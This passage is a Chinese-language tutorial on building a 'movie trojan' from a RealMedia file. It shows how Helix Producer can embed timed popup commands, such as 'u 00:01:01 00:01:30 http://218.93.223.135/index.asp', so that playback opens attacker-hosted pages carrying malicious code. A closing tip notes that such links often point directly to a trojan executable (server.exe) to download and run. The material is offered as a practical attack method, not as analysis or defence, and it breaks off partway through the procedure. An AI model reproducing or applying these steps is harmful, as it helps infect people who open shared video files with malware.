二、实战揭秘——电影木马制作
    制作RM影片木马通常分为一下两步：一是让RM影片在播放时自动弹出IE浏览器窗口，并自动访问相应的网页，这一点很容易做到；二是在指定的网页中要放置恶意代码、病毒等程序。两者结合后，就是一个标准的RM影片木马了。下面，让我们来看看制作过程。

    1．让影片在播放时自动弹出浏览器窗口
    让RM影片在播放时自动弹出IE浏览器窗口，并自动访问相应的网页这一步的制作，需使用Helix Producer Plus来完成。

     在下载完毕并安装完成后，首先使用任一款播放器打开要捆绑弹出网页代码的RM影片，在其中观察一下影片播放的时间长度。在如图所示中，可以看出影片的长度是10分21秒。

图2

    根据影片的总长度，我们可以决定在影片中隔多少时间放一次弹出网页代码，从而使影片的播放中处处“危机四伏”。假设，我们打算实现如下目的：

    在影片“009.rm”的播放中，在00:01:01至00:01:30这个时间范围中，自动弹出“http:// 218.93.223.135/index.asp”页面。

    在影片“009.rm”的播放中，在00:03:00至00:03:30这个时间范围中，自动弹出“http:// 218.93.223.135/web/index.asp”页面。

    根据这个目标，开始在RM中捆绑网页弹出代码，方法如下：
    第1步：新建一个文本文件，在其中输入如下命令：
u 00:01:01 00:01:30 http://218.93.223.135/index.asp
u 00:03:00 00:03:30 http://218.93.223.135/web/index.asp

    输入完毕后，将文件保存成名为“001”（可以任意命名）的文本文件。

图3

    提示：很多恶意网站还会直接指向为“http://218.93.223.135/server.exe”这样的木马程序下载、运行网址，这样对于某些操作系统来说，将意味着可以直接运行恶意程序。